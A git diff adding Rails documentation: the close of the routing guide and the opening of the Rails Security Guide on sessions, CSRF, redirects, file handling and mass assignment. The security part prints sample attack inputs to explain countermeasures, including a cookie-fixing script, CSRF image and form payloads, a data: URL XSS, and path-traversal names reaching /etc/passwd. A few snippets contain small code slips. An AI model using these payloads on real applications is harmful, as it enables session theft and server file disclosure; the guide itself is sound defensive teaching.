+You can also define other defaults in a route by supplying a hash for the +:defaults+ option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example: + +<ruby> +map.connect 'photos/:id', :controller => 'photos', :action => 'show', + :defaults => { :format => 'jpg' } +</ruby> + +With this route, an incoming URL of +photos/12+ would be dispatched to the +show+ action within the +Photos+ controller, and +params[:format]+ will be set to +jpg+. + +h4. Named Routes + +Regular routes need not use the +connect+ method. You can use any other name here to create a _named route_. For example, + +<ruby> +map.logout '/logout', :controller => 'sessions', :action => 'destroy' +</ruby> + +This will do two things. First, requests to +/logout+ will be sent to the +destroy+ method of the +Sessions+ controller. Second, Rails will maintain the +logout_path+ and +logout_url+ helpers for use within your code. + +h4. Route Requirements + +You can use the +:requirements+ option to enforce a format for any parameter in a route: + +<ruby> +map.connect 'photo/:id', :controller => 'photos', :action => 'show', + :requirements => { :id => /[A-Z]\d{5}/ } +</ruby> + +This route would respond to URLs such as +/photo/A12345+. You can more succinctly express the same route this way: + +<ruby> +map.connect 'photo/:id', :controller => 'photos', :action => 'show', + :id => /[A-Z]\d{5}/ +</ruby> + +h4. Route Conditions + +Route conditions (introduced with the +:conditions+ option) are designed to implement restrictions on routes. Currently, the only supported restriction is +:method+: + +<ruby> +map.connect 'photo/:id', :controller => 'photos', :action => 'show', + :conditions => { :method => :get } +</ruby> + +As with conditions in RESTful routes, you can specify +:get+, +:post+, +:put+, +:delete+, or +:any+ for the acceptable method. + +h4. Route Globbing + +Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example + +<ruby> +map.connect 'photo/*other', :controller => 'photos', :action => 'unknown', +</ruby> + +This route would match +photo/12+ or +/photo/long/path/to/12+ equally well, creating an array of path segments as the value of +params[:other]+. + +h4. Route Options + +You can use +:with_options+ to simplify defining groups of similar routes: + +<ruby> +map.with_options :controller => 'photo' do |photo| + photo.list '', :action => 'index' + photo.delete ':id/delete', :action => 'delete' + photo.edit ':id/edit', :action => 'edit' +end +</ruby> + +The importance of +map.with_options+ has declined with the introduction of RESTful routes. + +h3. Formats and +respond_to+ + +There's one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special +:format+ parameter in the route. + +For instance, consider the second of the default routes in the boilerplate +routes.rb+ file: + +<ruby> +map.connect ':controller/:action/:id.:format' +</ruby> + +This route matches requests such as +/photo/edit/1.xml+ or +/photo/show/2.rss+. Within the appropriate action code, you can issue different responses depending on the requested format: + +<ruby> +respond_to do |format| + format.html # return the default template for HTML + format.xml { render :xml => @photo.to_xml } +end +</ruby> + +h4. Specifying the Format with an HTTP Header + +If there is no +:format+ parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format. + +h4. Recognized MIME types + +By default, Rails recognizes +html+, +text+, +json+, +csv+, +xml+, +rss+, +atom+, and +yaml+ as acceptable response types. If you need types beyond this, you can register them in your environment: + +<ruby> +Mime::Type.register "image/jpg", :jpg +</ruby> + +h3. The Default Routes + +When you create a new Rails application, +routes.rb+ is initialized with two default routes: + +<ruby> +map.connect ':controller/:action/:id' +map.connect ':controller/:action/:id.:format' +</ruby> + +These routes provide reasonable defaults for many URLs, if you're not using RESTful routing. + +NOTE: The default routes will make every action of every controller in your application accessible to GET requests. If you've designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you've had the default routes enabled during development, though, you need to be sure that you haven't unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them. + +h3. The Empty Route + +Don't confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to +http://example.com+ or +http://example.com/+ will be handled by the empty route. + +h4. Using +map.root+ + +The preferred way to set up the empty route is with the +map.root+ command: + +<ruby> +map.root :controller => "pages", :action => "main" +</ruby> + +The use of the +root+ method tells Rails that this route applies to requests for the root of the site. + +For better readability, you can specify an already-created route in your call to +map.root+: + +<ruby> +map.index 'index', :controller => "pages", :action => "main" +map.root :index +</ruby> + +Because of the top-down processing of the file, the named route must be specified _before_ the call to +map.root+. + +h4. Connecting the Empty String + +You can also specify an empty route by explicitly connecting the empty string: + +<ruby> +map.connect '', :controller => "pages", :action => "main" +</ruby> + +TIP: If the empty route does not seem to be working in your application, make sure that you have deleted the file +public/index.html+ from your Rails tree. + +h3. Inspecting and Testing Routes + +Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes. + +h4. Seeing Existing Routes with +rake+ + +If you want a complete list of all of the available routes in your application, run the +rake routes+ command. This will dump all of your routes to the console, in the same order that they appear in +routes.rb+. For each route, you'll see: + +* The route name (if any) +* The HTTP verb used (if the route doesn't respond to all verbs) +* The URL pattern +* The routing parameters that will be generated by this URL + +For example, here's a small section of the +rake routes+ output for a RESTful route: + +<pre> + users GET /users {:controller=>"users", :action=>"index"} +formatted_users GET /users.:format {:controller=>"users", :action=>"index"} + POST /users {:controller=>"users", :action=>"create"} + POST /users.:format {:controller=>"users", :action=>"create"} +</pre> + +TIP: You'll find that the output from +rake routes+ is much more readable if you widen your terminal window until the output lines don't wrap. + +h4. Testing Routes + +Routes should be included in your testing strategy (just like the rest of your application). Rails offers three "built-in assertions":http://api.rubyonrails.org/classes/ActionController/Assertions/RoutingAssertions.html designed to make testing routes simpler: + +* +assert_generates+ +* +assert_recognizes+ +* +assert_routing+ + +h5. The +assert_generates+ Assertion + +Use +assert_generates+ to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes + +<ruby> +assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" } +assert_generates "/about", :controller => "pages", :action => "about" +</ruby> + +h5. The +assert_recognizes+ Assertion + +The +assert_recognizes+ assertion is the inverse of +assert_generates+. It asserts that Rails recognizes the given path and routes it to a particular spot in your application. + +<ruby> +assert_recognizes { :controller => "photos", :action => "show", :id => "1" }, "/photos/1" +</ruby> + +You can supply a +:method+ argument to specify the HTTP verb: + +<ruby> +assert_recognizes { :controller => "photos", :action => "create" }, { :path => "photos", :method => :post } +</ruby> + +You can also use the RESTful helpers to test recognition of a RESTful route: + +<ruby> +assert_recognizes new_photo_url, { :path => "photos", :method => :post } +</ruby> + +h5. The +assert_routing+ Assertion + +The +assert_routing+ assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of +assert_generates+ and +assert_recognizes+. + +<ruby> +assert_routing { :path => "photos", :method => :post }, { :controller => "photos", :action => "create" } +</ruby> + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/3 + +* October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes, by "Mike Gunderloy":credits.html#mgunderloy +* September 23, 2008: Added section on namespaced controllers and routing, by "Mike Gunderloy":credits.html#mgunderloy +* September 10, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile new file mode 100644 index 0000000000..1b64cc1be7 --- /dev/null +++ b/railties/guides/source/security.textile @@ -0,0 +1,986 @@ +h2. Ruby On Rails Security Guide + +This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please +mail me, Heiko Webers, at 42 {_et_} rorsecurity.info. After reading it, you should be familiar with: + +* All countermeasures _(highlight)that are highlighted_ +* The concept of sessions in Rails, what to put in there and popular attack methods +* How just visiting a site can be a security problem (with CSRF) +* What you have to pay attention to when working with files or providing an administration interface +* The Rails-specific mass assignment problem +* How to manage users: Logging in and out and attack methods on all layers +* And the most popular injection attack methods + +endprologue. + +h3. Introduction + +Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security. + +In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications). + +The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person. + +The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at. + +In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that‘s how you find the nasty logical security problems. + +h3. Sessions + +A good place to start looking at security is with sessions, which can be vulnerable to particular attacks. + +h4. What are Sessions? + +-- _HTTP is a stateless protocol. Sessions make it stateful._ + +Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request. +Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application. + +A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method: + +<ruby> +session[:user_id] = @current_user.id +User.find(session[:user_id]) +</ruby> + +h4. Session id + +-- _The session id is a 32 byte long MD5 hash value._ + +A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date. + +h4. Session Hijacking + +-- _Stealing a user's session id lets an attacker use the web application in the victim's name._ + +Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session. + +Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures: + +* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _(highlight)provide a secure connection over SSL_. + +* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _(highlight)log-out button_ in the web application, and _(highlight)make it prominent_. + +* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later. + +* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later. + +The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the "Symantec Global Internet Security Threat Report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf. + +h4. Session Guidelines + +-- _Here are some general guidelines on sessions._ + +* _(highlight)Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below). +This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate. + +* _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. + + +h4. Session Storage + +-- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore._ + +There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request. + +Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it: + +* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _(highlight)Storing the current user's database id in a session is usually ok_. + +* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _(highlight)you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie. + +That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb: + +<ruby> +config.action_controller.session = { + :key => '_app_session', + :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...' +} +</ruby> + +There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it. + +h4. Replay Attacks for CookieStore Sessions + +-- _Another sort of attack you have to be aware of when using CookieStore is the replay attack._ + +It works like this: + +* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes). +* The user buys something. +* His new, lower credit will be stored in the session. +* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser. +* The user has his credit back. + +Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database). + +The best _(highlight)solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session. + +h4. Session Fixation + +-- _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._ + +!images/session_fixation.png(Session fixation)! + +This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works: + +# The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image). +# He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive. +# Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: +<script>
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
</script>+. Read more about XSS and injection later on. +# The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id. +# As the new trap session is unused, the web application will require the user to authenticate. +# From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack. + +h4. Session Fixation – Countermeasures + +-- _One line of code will protect you from session fixation._ + +The most effective countermeasure is to _(highlight)issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails: + +<ruby> +reset_session +</ruby> + +If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _(highlight)you have to transfer them to the new session_. + +Another countermeasure is to _(highlight)save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _(highlight)These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way. + +h4. Session Expiry + +-- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._ + +One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20m")+ to expire sessions that were used longer than 20 minutes ago. + +<ruby> +class Session < ActiveRecord::Base + def self.sweep(time_ago = nil) +
time = case time_ago +
when /^(\d+)m$/ then Time.now - $1.to_i.minute +
when /^(\d+)h$/ then Time.now - $1.to_i.hour +
when /^(\d+)d$/ then Time.now - $1.to_i.day +
else Time.now - 1.hour +
end +
self.delete_all "updated_at < '#{time.to_s(:db)}'" +
end +
end +</ruby> + +The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above: + +<ruby> +self.delete_all "updated_at < '#{time.to_s(:db)}' OR + created_at < '#{2.days.ago.to_s(:db)}'" +</ruby> + +h3. Cross-Site Request Forgery (CSRF) + +-- _This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands._ + +!images/csrf.png! + +In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example: + +* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file. +* +<img src="http://www.webapp.com/project/1/destroy">+ +* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago. +* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id. +* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image. +* Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone. + +It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email. + +CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _(highlight)CSRF is an important security issue_. + +h4. CSRF Countermeasures + +-- _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._ + +The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST: + +*Use GET if:* + +* The interaction is more _(highlight)like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup). + +*Use POST if:* + +* The interaction is more _(highlight)like an order_, or +* The interaction _(highlight)changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or +* The user is _(highlight)held accountable for the results_ of the interaction. + +If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier. + +_(highlight)The verify method in a controller can make sure that specific actions may not be used over GET_. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action. + +<ruby> +verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list} +</ruby> + +With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application. + +But this was only the first step, because _(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request. + +<html> +<a href="http://www.harmless.com/" onclick=" + var f = document.createElement('form'); + f.style.display = 'none'; + this.parentNode.appendChild(f); + f.method = 'POST'; + f.action = 'http://www.example.com/account/destroy'; + f.submit(); + return false;">To the harmless survey</a> +</html> + +Or the attacker places the code into the onmouseover event handler of an image: + +<html> +<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." /> +</html> + +There are many other possibilities, including Ajax to attack the victim in the background.
The _(highlight)solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller: + +<ruby> +protect_from_forgery :secret => "123456789012345678901234567890..." +</ruby> + +This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected. + +Note that _(highlight)cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later. + +h3. Redirection and Files + +Another class of security vulnerabilities surrounds the use of redirection and files in web applications. + +h4. Redirection + +-- _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._ + +Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action: + +<ruby> +def legacy + redirect_to(params.update(:action=>'main')) +end +</ruby> + +This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL: + +<plain> +http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com +</plain> + +If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_. + +h5. Self-contained XSS + +Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images: + ++data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K+ + +This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _(highlight)do not allow the user to supply (parts of) the URL to be redirected to_. + +h4. File Uploads + +-- _Make sure file uploads don't overwrite important files, and process media files asynchronously._ + +Many web applications allow users to upload files. _(highlight)File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user. + +When filtering user input file names, _(highlight)don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _(highlight)checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the "attachment_fu plugin":http://github.com/technoweenie/attachment_fu/tree/master: + +<ruby> +def sanitize_filename(filename) + returning filename.strip do |name| + # NOTE: File.basename doesn't work right with Windows paths on Unix + # get only the filename, not the whole path + name.gsub! /^.*(\\|\/)/, '' + # Finally, replace all non alphanumeric, underscore + # or periods with underscore + name.gsub! /[^\w\.\-]/, '_' + end +end +</ruby> + +A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _(highlight)vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server. + +The solution to this is best to _(highlight)process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background. + +h4. Executable Code in File Uploads + +-- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._ + +The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file. + +_(highlight)If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards. + +h4. File Downloads + +-- _Make sure users cannot download arbitrary files._ + +Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded: + +<ruby> +send_file('/var/www/uploads/' + params[:filename]) +</ruby> + +Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _(highlight)check that the requested file is in the expected directory_: + +<ruby> +basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files')) +filename = File.expand_path(File.join(basename, @file.public_filename)) +raise if basename =! + File.expand_path(File.join(File.dirname(filename), '../../../')) +send_file filename, :disposition => 'inline' +</ruby> + +Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way. + +h3. Intranet and Admin Security + +-- _Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world._ + +In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
+ +*XSS* If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS. + +Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer. + +Refer to the Injection section for countermeasures against XSS. It is _(highlight)recommended to use the SafeErb plugin_ also in an Intranet or administration interface. + +*CSRF* Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. + +A real-world example is a "router reconfiguration by CSRF":http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen. + +Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
+ +Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination. + +For _(highlight)countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_. + +h4. Additional Precautions + +The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this: + +* It is very important to _(highlight)think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _(highlight)introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _(highlight)special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _(highlight)special password for very serious actions_? + +* Does the admin really have to access the interface from everywhere in the world? Think about _(highlight)limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though. + +* _(highlight)Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa. + +h3. Mass Assignment + +-- _Without any precautions Model.new(params[:model]) allows attackers to set any database column's value._ + +The mass-assignment feature may become a problem, as it allows an attacker to set any model's attributes by manipulating the hash passed to a model's +new()+ method: + +<ruby> +def signup + params[:user] #=> {:name => “ow3ned”, :admin => true} + @user = User.new(params[:user]) +end +</ruby> + +Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this: + +<pre> +"name":http://www.example.com/user/signup?user=ow3ned&user[admin]=1 +</pre> + +This will set the following parameters in the controller: + +<ruby> +params[:user] #=> {:name => “ow3ned”, :admin => true} +</ruby> + +So if you create a new user using mass-assignment, it may be too easy to become an administrator. + +Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in rails 2.3. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+). For example: + +<ruby> + class Person < ActiveRecord::Base + has_many :credits + + accepts_nested_attributes_for :children + end + + class Child < ActiveRecord::Base + belongs_to :person + end +</ruby> + +As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case). + +h4. Countermeasures + +To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The +attr_protected+ method takes a list of attributes that will not be accessible for mass-assignment. For example: + +<ruby> +attr_protected :admin +</ruby> + +A much better way, because it follows the whitelist-principle, is the +attr_accessible+ method. It is the exact opposite of +attr_protected+, because _(highlight)it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example: + +<ruby> +attr_accessible :name +</ruby> 